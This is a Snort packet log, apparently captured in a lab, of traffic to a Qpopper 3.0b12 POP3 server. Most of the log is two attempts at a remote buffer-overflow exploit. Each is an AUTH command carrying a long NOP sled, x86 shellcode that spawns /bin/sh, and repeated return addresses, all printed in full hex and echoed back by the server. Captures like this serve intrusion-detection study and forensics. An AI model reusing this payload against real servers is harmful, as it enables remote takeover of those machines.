No run mode specified, defaulting to verbose mode 11/01-16:52:50.874501 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x4A 192.168.20.11:3471 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12850 IpLen:20 DgmLen:60 DF ******S* Seq: 0xE36A5A18 Ack: 0x0 Win: 0x7D78 TcpLen: 40 TCP Options (5) => MSS: 1460 SackOK TS: 2849494 0 NOP WS: 0 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:50.876346 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x4A 192.168.36.26:110 -> 192.168.20.11:3471 TCP TTL:64 TOS:0x0 ID:12130 IpLen:20 DgmLen:60 DF ***A**S* Seq: 0x9001B831 Ack: 0xE36A5A19 Win: 0x7D78 TcpLen: 40 TCP Options (5) => MSS: 1460 SackOK TS: 123057287 2849494 NOP TCP Options => WS: 0 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:50.882152 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:3471 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12851 IpLen:20 DgmLen:52 DF ***A**** Seq: 0xE36A5A19 Ack: 0x9001B832 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2849494 123057287 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:50.900687 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x76 192.168.36.26:110 -> 192.168.20.11:3471 TCP TTL:64 TOS:0x0 ID:12132 IpLen:20 DgmLen:104 DF ***AP*** Seq: 0x9001B832 Ack: 0xE36A5A19 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 123057290 2849494 2B 4F 4B 20 51 50 4F 50 20 28 76 65 72 73 69 6F +OK QPOP (versio 6E 20 33 2E 30 62 31 32 29 20 61 74 20 6E 74 65 n 3.0b12) at nte 63 31 36 2D 33 36 20 73 74 61 72 74 69 6E 67 2E c16-36 starting. 20 20 0D 0A .. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:50.910601 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:3471 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12853 IpLen:20 DgmLen:52 DF ***A**** Seq: 0xE36A5A19 Ack: 0x9001B866 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2849496 123057290 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:50.911696 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x420 192.168.20.11:3471 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12854 IpLen:20 DgmLen:1042 DF ***AP*** Seq: 0xE36A5A19 Ack: 0x9001B866 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2849496 123057290 41 55 54 48 20 90 90 90 90 90 90 90 90 90 90 90 AUTH ........... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 EB 1B 5E 89 F3 89 F7 83 C7 07 29 C0 AA 89 ....^.......)... F9 89 F0 AB 89 FA 29 C0 AB B0 08 04 03 CD 80 E8 ......)......... E0 FF FF FF 2F 62 69 6E 2F 73 68 90 90 90 90 90 ..../bin/sh..... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 50 D1 ..............P. FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 ..P...P...P...P. FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 ..P...P...P...P. FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 ..P...P...P...P. FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 ..P...P...P...P. FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 ..P...P...P...P. FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 ..P...P...P...P. FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 ..P...P...P...P. FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 ..P...P...P...P. FF BF 50 D1 FF BF 90 90 90 90 90 90 0A 0A ..P........... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:50.911821 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x42 192.168.36.26:110 -> 192.168.20.11:3471 TCP TTL:64 TOS:0x0 ID:12133 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x9001B866 Ack: 0xE36A5DF7 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 123057291 2849496 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:50.914621 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x442 192.168.36.26:110 -> 192.168.20.11:3471 TCP TTL:64 TOS:0x0 ID:12134 IpLen:20 DgmLen:1076 DF ***AP*** Seq: 0x9001B866 Ack: 0xE36A5DF7 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 123057291 2849496 2D 45 52 52 20 55 6E 6B 6E 6F 77 6E 20 61 75 74 -ERR Unknown aut 68 65 6E 74 69 63 61 74 69 6F 6E 20 6D 65 63 68 hentication mech 61 6E 69 73 6D 3A 20 90 90 90 90 90 90 90 90 90 anism: ......... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 EB 1B 5E 89 F3 89 F7 83 C7 07 29 C0 ......^.......). AA 89 F9 89 F0 AB 89 FA 29 C0 AB B0 08 04 03 CD ........)....... 80 E8 E0 FF FF FF 2F 62 69 6E 2F 73 68 90 90 90 ....../bin/sh... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF P...P...P...P... 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF P...P...P...P... 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF P...P...P...P... 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF P...P...P...P... 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF P...P...P...P... 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF P...P...P...P... 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF P...P...P...P... 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF 50 D1 FF BF P...P...P...P... 50 D1 FF BF 50 D1 FF BF 90 90 90 90 90 90 0D 0A P...P........... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:50.921206 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x42 192.168.36.26:110 -> 192.168.20.11:3471 TCP TTL:64 TOS:0x0 ID:12135 IpLen:20 DgmLen:52 DF ***A*R** Seq: 0x9001BC66 Ack: 0xE36A5DF7 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 123057292 2849496 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:55.919931 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x4A 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12856 IpLen:20 DgmLen:60 DF ******S* Seq: 0xE3AAE577 Ack: 0x0 Win: 0x7D78 TcpLen: 40 TCP Options (5) => MSS: 1460 SackOK TS: 2849998 0 NOP WS: 0 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:55.920098 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x4A 192.168.36.26:110 -> 192.168.20.11:3472 TCP TTL:64 TOS:0x0 ID:12136 IpLen:20 DgmLen:60 DF ***A**S* Seq: 0x906FF790 Ack: 0xE3AAE578 Win: 0x7D78 TcpLen: 40 TCP Options (5) => MSS: 1460 SackOK TS: 123057792 2849998 NOP TCP Options => WS: 0 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:55.921163 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12857 IpLen:20 DgmLen:52 DF ***A**** Seq: 0xE3AAE578 Ack: 0x906FF791 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2849998 123057792 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:55.962008 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x76 192.168.36.26:110 -> 192.168.20.11:3472 TCP TTL:64 TOS:0x0 ID:12138 IpLen:20 DgmLen:104 DF ***AP*** Seq: 0x906FF791 Ack: 0xE3AAE578 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 123057796 2849998 2B 4F 4B 20 51 50 4F 50 20 28 76 65 72 73 69 6F +OK QPOP (versio 6E 20 33 2E 30 62 31 32 29 20 61 74 20 6E 74 65 n 3.0b12) at nte 63 31 36 2D 33 36 20 73 74 61 72 74 69 6E 67 2E c16-36 starting. 20 20 0D 0A .. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:55.970391 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12859 IpLen:20 DgmLen:52 DF ***A**** Seq: 0xE3AAE578 Ack: 0x906FF7C5 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2850000 123057796 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:55.971225 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x420 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12860 IpLen:20 DgmLen:1042 DF ***AP*** Seq: 0xE3AAE578 Ack: 0x906FF7C5 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2850000 123057796 41 55 54 48 20 90 90 90 90 90 90 90 90 90 90 90 AUTH ........... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 EB 1B 5E 89 F3 89 F7 83 C7 07 29 C0 AA 89 ....^.......)... F9 89 F0 AB 89 FA 29 C0 AB B0 08 04 03 CD 80 E8 ......)......... E0 FF FF FF 2F 62 69 6E 2F 73 68 90 90 90 90 90 ..../bin/sh..... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 44 D3 ..............D. FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 ..D...D...D...D. FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 ..D...D...D...D. FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 ..D...D...D...D. FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 ..D...D...D...D. FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 ..D...D...D...D. FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 ..D...D...D...D. FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 ..D...D...D...D. FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 ..D...D...D...D. FF BF 44 D3 FF BF 90 90 90 90 90 90 0A 0A ..D........... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:55.971255 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x42 192.168.36.26:110 -> 192.168.20.11:3472 TCP TTL:64 TOS:0x0 ID:12139 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x906FF7C5 Ack: 0xE3AAE956 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 123057797 2850000 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:55.979941 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x442 192.168.36.26:110 -> 192.168.20.11:3472 TCP TTL:64 TOS:0x0 ID:12140 IpLen:20 DgmLen:1076 DF ***AP*** Seq: 0x906FF7C5 Ack: 0xE3AAE956 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 123057798 2850000 2D 45 52 52 20 55 6E 6B 6E 6F 77 6E 20 61 75 74 -ERR Unknown aut 68 65 6E 74 69 63 61 74 69 6F 6E 20 6D 65 63 68 hentication mech 61 6E 69 73 6D 3A 20 90 90 90 90 90 90 90 90 90 anism: ......... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 EB 1B 5E 89 F3 89 F7 83 C7 07 29 C0 ......^.......). AA 89 F9 89 F0 AB 89 FA 29 C0 AB B0 08 04 03 CD ........)....... 80 E8 E0 FF FF FF 2F 62 69 6E 2F 73 68 90 90 90 ....../bin/sh... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF D...D...D...D... 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF D...D...D...D... 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF D...D...D...D... 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF D...D...D...D... 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF D...D...D...D... 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF D...D...D...D... 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF D...D...D...D... 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF 44 D3 FF BF D...D...D...D... 44 D3 FF BF 44 D3 FF BF 90 90 90 90 90 90 0D 0A D...D........... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:52:56.000204 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:3472 -> 192.168.36.26:110 TCP TTL:63 TOS:0x0 ID:12861 IpLen:20 DgmLen:52 DF ***A**** Seq: 0xE3AAE956 Ack: 0x906FFBC5 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2850002 123057798 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/01-16:53:00.979857 0:3:FD:FA:30:1C 